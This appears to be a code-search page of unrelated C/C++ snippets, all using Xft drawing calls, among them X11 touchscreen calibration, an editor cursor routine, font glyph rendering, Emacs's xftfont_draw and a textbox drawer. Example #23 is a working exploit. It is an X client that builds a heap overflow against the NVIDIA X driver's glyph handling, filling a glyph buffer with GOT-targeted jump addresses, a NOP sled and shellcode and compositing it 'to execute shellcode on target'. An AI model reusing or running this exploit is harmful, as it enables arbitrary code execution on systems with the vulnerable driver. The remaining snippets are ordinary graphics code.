	a = (a1 + a2) / 2.0;
	b = (b1 + b2) / 2.0;
	yerr = a * height / 2 + b - y[2];
	if (fabs(yerr) > fabs(a * height * 0.01)) {
		fprintf(stderr, "Calibration problem: Y axis error (%.2f) too high, try again\n",
			fabs(yerr));
		goto err;
	}
	calib.miny = (int) (b + 0.5);
	calib.maxy = (int) (a * height + b + 0.5);

	XFlush(display);

	calib.resx = width;
	calib.resy = height;

	/* Send new values to the X server */
	calib_data[0] = calib.minx;
	calib_data[1] = calib.maxx;
	calib_data[2] = calib.miny;
	calib_data[3] = calib.maxy;
	XChangeDeviceProperty(display, device, prop_calibration,
	    XA_INTEGER, 32, PropModeReplace, (unsigned char *)calib_data, 4);

	swap = calib.swapxy;
	XChangeDeviceProperty(display, device, prop_swap,
	    XA_INTEGER, 8, PropModeReplace, (unsigned char *)&swap, 1);

	XCloseDevice(display, device);

	XCloseDisplay(display);

	/* And print them for storage in wsconsctl.conf */
	printf("mouse.scale=%d,%d,%d,%d,%d,%d,%d\n",
	    calib.minx, calib.maxx,
	    calib.miny, calib.maxy,
	    calib.swapxy,
	    calib.resx, calib.resy);

	return 0;
err:
	draw_text(error_message, &errorColor);
	XFlush(display);
	sleep(2);
	goto calib;
}
Exemple #21
0
static void se_draw_buffer_point( se_text_xviewer* viewer )
{
    se_env *env = viewer->env;
    se_world *world = viewer->env->world;
    g_assert( world );

    se_buffer *cur_buf = world->current;
    g_assert( cur_buf );

    se_cursor point_cur = {
        .row = cur_buf->getLine( cur_buf ),
        .column = cur_buf->getCurrentColumn( cur_buf )
    };
    se_position point_pos = se_text_cursor_to_physical( viewer, point_cur );
    point_pos.y -= (env->glyphMaxHeight - env->glyphAscent)/2;
    

    XRenderColor renderClr = {
        .red = 0x00,
        .green = 0xffff,
        .blue = 0x00,
        .alpha = 0x00
    };
        
    XftColor clr;
    XftColorAllocValue( env->display, env->visual, env->colormap, &renderClr, &clr );
    
    XftDrawRect( viewer->xftDraw, &clr, point_pos.x, point_pos.y, 2, env->glyphMaxHeight );

    XftColorFree( env->display, env->visual, env->colormap, &clr );
}

// send draw event and do real update in redisplay routine
static void se_text_xviewer_repaint( se_text_xviewer* viewer )
{
    XWindowAttributes attrs;
    XGetWindowAttributes( viewer->env->display, viewer->view, &attrs);
    viewer->updateSize( viewer, attrs.width, attrs.height );

    //refill text viewer
    se_world *world = viewer->env->world;
    g_assert( world );

    se_buffer *cur_buf = world->current;
    g_assert( cur_buf );

    //FIXME: this is slow algo just as a demo, change it later
    se_line* lp = cur_buf->lines;
    int nr_lines = cur_buf->getLineCount( cur_buf );
    se_debug( "paint rect: rows: %d", nr_lines );
    
    for (int r = 0; r < MIN(viewer->rows, nr_lines); ++r) {
        const char* buf = se_line_getData( lp );
        int cols = se_line_getLineLength( lp );
        if ( buf[cols-1] == '\n' ) cols--;
        memcpy( (viewer->content + r*SE_MAX_ROWS), buf, cols );
        *(viewer->content + r*SE_MAX_ROWS+cols) = '\0';
        /* se_debug( "draw No.%d: [%s]", r, buf ); */
        lp = lp->next;
    }
}
Exemple #22
0
PlatformFont::CharInfo &x86UNIXFont::getCharInfo(const UTF16 ch) const
{
  Display *display = XOpenDisplay(getenv("DISPLAY"));
  if (!display )
    AssertFatal(false, "createFont: cannot connect to X server");

  static PlatformFont::CharInfo c;
  dMemset(&c, 0, sizeof(c));
  c.bitmapIndex = 0;
  c.xOffset     = 0;
  c.yOffset     = 0;

  XftFont *fontInfo  = XftFontOpenName(display, DefaultScreen(display), mFontName);
  if (!fontInfo)
    AssertFatal(false, "createFont: cannot load font");

  int screen = DefaultScreen(display);
  // Create the pixmap to draw on.
  Drawable pixmap = XCreatePixmap(display,
				  DefaultRootWindow(display),
				  fontInfo->max_advance_width,
				  fontInfo->height,
				  DefaultDepth(display, screen));
  // And the Xft wrapper around it.
  XftDraw *draw = XftDrawCreate(display,
                                pixmap,
                                DefaultVisual(display, screen),
                                DefaultColormap(display, screen));
  // Allocate some colors, we don't use XftColorAllocValue here as that
  // Don't appear to function correctly (or I'm using it wrong) As we only do
  // this twice per new un cached font it isn't that big of a penalty. (Each
  // call to XftColorAllocName involves a round trip to the X Server)
  XftColor black, white;
  XftColorAllocName(display,
                    DefaultVisual(display, screen),
                    DefaultColormap(display, screen),
                    "black",
                    &black);
  // White
  XftColorAllocName(display,
                    DefaultVisual(display, screen),
                    DefaultColormap(display, screen),
                    "white",
                    &white);
  
  XGlyphInfo charinfo;
  XftTextExtents16(display, fontInfo, &ch, 1, &charinfo);
  c.height     = fontInfo->height;
  c.xOrigin    = 0; 
  c.yOrigin    = fontInfo->ascent;
  c.xIncrement = charinfo.xOff;
  c.width      = charinfo.xOff;
  // kick out early if the character is undrawable
  if( c.width == 0 || c.height == 0)
    return c;

  // allocate a greyscale bitmap and clear it.
  int bitmapDataSize = c.width * c.height;
  c.bitmapData = new U8[bitmapDataSize];
  dMemset(c.bitmapData, 0, bitmapDataSize);

  XftDrawRect (draw, &black, 0, 0, fontInfo->max_advance_width, fontInfo->height);
  XftDrawString16 (draw, &white, fontInfo, 0, fontInfo->ascent, &ch, 1);
  // grab the pixmap image

  XImage *ximage = XGetImage(display, pixmap, 0, 0, 
			     charinfo.xOff, fontInfo->height, 
			     AllPlanes, XYPixmap);
  if (!ximage)
    AssertFatal(false, "cannot get x image");
  int x, y;

  // grab each pixel and store it in the scratchPad
  for(y = 0; y < fontInfo->height; y++)
  {
    for(x = 0; x < charinfo.xOff; x++)
      c.bitmapData[y * charinfo.xOff + x] = static_cast<U8>(XGetPixel(ximage, x, y));
  }
  XDestroyImage(ximage);

  XftColorFree(display, DefaultVisual(display, screen),
               DefaultColormap(display, screen), &black);
  XftColorFree(display, DefaultVisual(display, screen),
               DefaultColormap(display, screen), &white);
  XftDrawDestroy(draw);
  XFreePixmap(display, pixmap);
  XCloseDisplay(display);

  return c;
}
Exemple #23
0
int
main(int argc, char *argv[])
{
    Display *display;
    Widget toplevel;
    XtAppContext app_con;
    XEvent event;
    char c, *string;
    unsigned int i;
    XDataStr *data;
    XExposeEvent *expose = (XExposeEvent *)&event;
    unsigned int heapaddr, gotaddr;

    if (argc > 2)
    {
        heapaddr = strtoul(argv[1],NULL,0);
        gotaddr  = strtoul(argv[2],NULL,0);
    }
    else
    {
        printf("Usage: %s <HEAPADDR> <GOTADDR>\n\n", argv[0]);
        return 0;
    }

    toplevel = XtAppInitialize(&app_con, "XSafe", NULL, 0,
            &argc, argv, NULL, NULL, 0);
    display = XtDisplay(toplevel);

    data = (XDataStr *)malloc(sizeof(XDataStr));
    if (data == NULL) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

    data->display = display;
    data->app = app_con;

    if (createWin(data) < 0) {
        fprintf(stderr, "can't create Data Window");
        exit(EXIT_FAILURE);
    }
    show(data);

    signal(SIGINT, sigHandler);
    signal(SIGHUP, sigHandler);
    signal(SIGQUIT, sigHandler);
    signal(SIGTERM, sigHandler);

    /************************************************************************
     * BEGIN FONT HEAP OVERFLOW SETUP CODE
     *
     * "It's so hard to write a graphics driver that open-sourcing it would
     *  not help."
     *    - Andrew Fear, Software Product Manager (NVIDIA Corporation).
     **********************************************************************/
    XGlyphInfo * glyphs;
    XRenderPictFormat fmt;
    XRenderPictFormat *mask = 0;
    GlyphSet gset;
    char * buf =0;
    int offset, cr, numB;
    int xscreenpos  = 32680;
    int magic_len   = 32768 - xscreenpos;
    int wr_addr_len = 3548;
    int wr_nop_len  = 200;

    /* Calculate the offset to the Global Offset Table.
     * 0x2C0000 is the size of the buffer the NVIDIA driver
     * allocates for us when it is about to draw.
     */
    offset = gotaddr-(heapaddr-0x2C0000);
    offset += magic_len;
    glyphs = malloc(sizeof(XGlyphInfo)*3);

    /* Payload glyph */
    glyphs[0].width = 0x4000; /* One contiguous buffer of 16K... way more than necessary */
    glyphs[0].height = 1;
    glyphs[0].yOff = 0;
    glyphs[0].xOff = glyphs[0].width;
    glyphs[0].x = 0;
    glyphs[0].y = 0;

    /* Large offset glyph (untweaked) */
    glyphs[1].width=0;
    glyphs[1].height=0;
    glyphs[1].yOff=32767;
    glyphs[1].xOff=0;
    glyphs[1].x = 0;
    glyphs[1].y = 0;

    /* Small offset glyph (tweaked) */
    glyphs[2].width=0;
    glyphs[2].height=0;
    glyphs[2].yOff=0;
    glyphs[2].xOff=0;
    glyphs[2].x = 0;
    glyphs[2].y = 0;

    fmt.type = PictTypeDirect;
    fmt.depth = 8;

    Glyph * xglyphids = malloc(3*sizeof(Glyph));

    xglyphids[0] = 'A';
    xglyphids[1] = 'B';
    xglyphids[2] = 'C';

    int stride = ((glyphs[0].width*1)+3)&~3; /* Needs to be DWORD aligned */
    int bufsize = stride*glyphs[0].height;
    buf = malloc(bufsize);

    /* Write jump address to the buffer a number of times */
    for (cr=0; cr<wr_addr_len; cr+=4)
    {
       *((unsigned int*)((unsigned char*)buf + cr)) = gotaddr+wr_addr_len+4;
    }

    /* Write the NOP instructions until wr_nop_len */
    memset(buf+wr_addr_len, 0x90 /* NOP */, wr_nop_len);

    /* Write the shellcode */
    cr+=wr_nop_len;
    memcpy(buf+cr, shellcode, sizeof(shellcode));

    /* Calculate the number of B's required to send */
    numB = offset / (glyphs[1].yOff * magic_len);

    /* We send only one C, but we change its yOff value according to
     * how much space we have left before we meet the correct index length */
    glyphs[2].yOff = (offset - (numB * glyphs[1].yOff * magic_len)) / (magic_len);

    /* Now create a new buffer for the string data */
    string = malloc(numB+1/*numC*/+1/*numA*/+1/*NULL*/);
    for (cr=0; cr<numB; cr++)   string[cr] = 'B';
                                string[cr] = 'C'; cr++;
                                string[cr] = 'A'; cr++;
                                string[cr] =  0;

    mask = XRenderFindFormat(display, PictFormatType|PictFormatDepth, &fmt, 0);
    gset = XRenderCreateGlyphSet(display, mask);

    if (mask)
    {
        /* Ask the server to tie the glyphs to the glyphset we created,
         * with our addr/nopslide/shellcode buffer as the alpha data.
         */
        XRenderAddGlyphs(display, gset, xglyphids, glyphs, 3, buf, bufsize);
    }
    /* END FONT HEAP OVERFLOW SETUP CODE */

    done = 0;
    while (!done) {
        XNextEvent(display, &event);
        switch(event.type) {
            case KeyPress:
                i = XLookupString(&event.xkey, &c, 1, NULL, NULL);
                if ((i == 1) && ((c == 'q') || (c == 'Q'))) {
                    done = 1;
                }
                break;
            case Expose:
                XftDrawRect(data->draw, &data->bg,
                        expose->x, expose->y,
                        expose->width, expose->height);
                /* Send malignant glyphs and execute shellcode on target */
                XRenderCompositeString8(display, PictOpOver,
                        XftDrawSrcPicture(data->draw, &data->color),
                        XftDrawPicture(data->draw), mask, gset,
                        0, 0, xscreenpos, 0, string, strlen(string));
                break;
        }
    }

    free(glyphs);
    free(xglyphids);
    free(buf);
    free(string);

    XFlush(display);
    XUnmapWindow(data->display, data->win);
    XUngrabKeyboard(data->display, CurrentTime);
    XCloseDisplay(display);
    exit(EXIT_SUCCESS);
}
Exemple #24
0
static int
xftfont_draw (struct glyph_string *s, int from, int to, int x, int y,
              bool with_background)
{
  struct frame *f = s->f;
  struct face *face = s->face;
  struct xftfont_info *xftfont_info = (struct xftfont_info *) s->font;
  struct xftface_info *xftface_info = NULL;
  XftDraw *xft_draw = xftfont_get_xft_draw (f);
  FT_UInt *code;
  XftColor fg, bg;
  int len = to - from;
  int i;

  if (s->font == face->font)
    xftface_info = (struct xftface_info *) face->extra;
  xftfont_get_colors (f, face, s->gc, xftface_info,
		      &fg, with_background ? &bg : NULL);
  block_input ();
  if (s->num_clips > 0)
    XftDrawSetClipRectangles (xft_draw, 0, 0, s->clip, s->num_clips);
  else
    XftDrawSetClip (xft_draw, NULL);

  if (with_background)
    {
      int height = FONT_HEIGHT (s->font), ascent = FONT_BASE (s->font);

      /* Font's global height and ascent values might be
	 preposterously large for some fonts.  We fix here the case
	 when those fonts are used for display of glyphless
	 characters, because drawing background with font dimensions
	 in those cases makes the display illegible.  There's only one
	 more call to the draw method with with_background set to
	 true, and that's in x_draw_glyph_string_foreground, when
	 drawing the cursor, where we have no such heuristics
	 available.  FIXME.  */
      if (s->first_glyph->type == GLYPHLESS_GLYPH
	  && (s->first_glyph->u.glyphless.method == GLYPHLESS_DISPLAY_HEX_CODE
	      || s->first_glyph->u.glyphless.method == GLYPHLESS_DISPLAY_ACRONYM))
	height = ascent =
	  s->first_glyph->slice.glyphless.lower_yoff
	  - s->first_glyph->slice.glyphless.upper_yoff;
      XftDrawRect (xft_draw, &bg, x, y - ascent, s->width, height);
    }
  code = alloca (sizeof (FT_UInt) * len);
  for (i = 0; i < len; i++)
    code[i] = ((XCHAR2B_BYTE1 (s->char2b + from + i) << 8)
	       | XCHAR2B_BYTE2 (s->char2b + from + i));

  if (s->padding_p)
    for (i = 0; i < len; i++)
      XftDrawGlyphs (xft_draw, &fg, xftfont_info->xftfont,
		     x + i, y, code + i, 1);
  else
    XftDrawGlyphs (xft_draw, &fg, xftfont_info->xftfont,
		   x, y, code, len);
  unblock_input ();

  return len;
}
Exemple #25
0
bool x11_draw_blocks(CFG* config, XRESOURCES* xres, TEXTBLOCK** blocks){
	unsigned i;
	double current_size;
	XftFont* font = NULL;

	//early exit
	if(!blocks || !blocks[0]){
		return true;
	}

	//draw debug blocks if requested
	if(config->debug_boxes){
		for(i = 0; blocks[i] && blocks[i]->active; i++){
			 XftDrawRect(xres->drawable, &(xres->debug_color), blocks[i]->layout_x, blocks[i]->layout_y, blocks[i]->extents.width, blocks[i]->extents.height);
		}
	}

	//draw boxes only
	if(config->disable_text){
		return true;
	}

	//draw all blocks
	for(i = 0; blocks[i] && blocks[i]->active; i++){
		//load font
		if(!font || (font && current_size != blocks[i]->size)){
			if(font){
				XftFontClose(xres->display, font);
			}
			font = XftFontOpen(xres->display, xres->screen,
					XFT_FAMILY, XftTypeString, config->font_name,
					XFT_PIXEL_SIZE, XftTypeDouble, blocks[i]->size,
					NULL
			);
			current_size = blocks[i]->size;
			if(!font){
				fprintf(stderr, "Failed to load block font (%s, %d)\n", config->font_name, (int)current_size);
				return false;
			}
		}

		//draw text
		errlog(config, LOG_DEBUG, "Drawing block %d (%s) at layoutcoords %d|%d size %d\n", i, blocks[i]->text,
				blocks[i]->layout_x + blocks[i]->extents.x,
				blocks[i]->layout_y + blocks[i]->extents.y,
				(int)blocks[i]->size);

		XftDrawStringUtf8(xres->drawable,
				&(xres->text_color),
				font,
				blocks[i]->layout_x + blocks[i]->extents.x,
				blocks[i]->layout_y + blocks[i]->extents.y,
				(FcChar8*)blocks[i]->text,
				strlen(blocks[i]->text));
	}

	//clean up the mess
	if(font){
		XftFontClose(xres->display, font);
	}

	return true;
}
Exemple #26
0
void textbox_draw(textbox *tb)
{
	int i;
	XGlyphInfo extents;

	GC context    = XCreateGC(display, tb->window, 0, 0);
	Pixmap canvas = XCreatePixmap(display, tb->window, tb->w, tb->h, DefaultDepth(display, DefaultScreen(display)));
	XftDraw *draw = XftDrawCreate(display, canvas, DefaultVisual(display, DefaultScreen(display)), DefaultColormap(display, DefaultScreen(display)));

	// clear canvas
	XftDrawRect(draw, &tb->color_bg, 0, 0, tb->w, tb->h);

	char *line   = tb->text,
		*text   = tb->text ? tb->text: "",
		*prompt = tb->prompt ? tb->prompt: "";

	int text_len    = strlen(text);
	int length      = text_len;
	int line_height = tb->font->ascent + tb->font->descent;
	int line_width  = 0;

	int cursor_x      = 0;
	int cursor_offset = 0;
	int cursor_width  = MAX(2, line_height/10);

	if (tb->flags & TB_EDITABLE)
	{
		int prompt_len = strlen(prompt);
		length = text_len + prompt_len;
		cursor_offset = MIN(tb->cursor + prompt_len, length);

		line = alloca(length + 10);
		sprintf(line, "%s%s", prompt, text);

		// replace spaces so XftTextExtents8 includes their width
		for (i = 0; i < length; i++) if (isspace(line[i])) line[i] = '_';

		// calc cursor position
		XftTextExtents8(display, tb->font, (unsigned char*)line, cursor_offset, &extents);
		cursor_x = extents.width;

		// restore correct text string with spaces
		sprintf(line, "%s%s", prompt, text);
	}

	// calc full input text width
	XftTextExtents8(display, tb->font, (unsigned char*)line, length, &extents);
	line_width = extents.width;

	int x = 0, y = tb->font->ascent;
	if (tb->flags & TB_RIGHT)  x = tb->w - line_width;
	if (tb->flags & TB_CENTER) x = (tb->w - line_width) / 2;

	// draw the text, including any prompt in edit mode
	XftDrawString8(draw, &tb->color_fg, tb->font, x, y, (unsigned char*)line, length);

	// draw the cursor
	if (tb->flags & TB_EDITABLE)
		XftDrawRect(draw, &tb->color_fg, cursor_x, 2, cursor_width, line_height-4);

	// flip canvas to window
	XCopyArea(display, canvas, tb->window, context, 0, 0, tb->w, tb->h, 0, 0);

	XFreeGC(display, context);
	XftDrawDestroy(draw);
	XFreePixmap(display, canvas);
}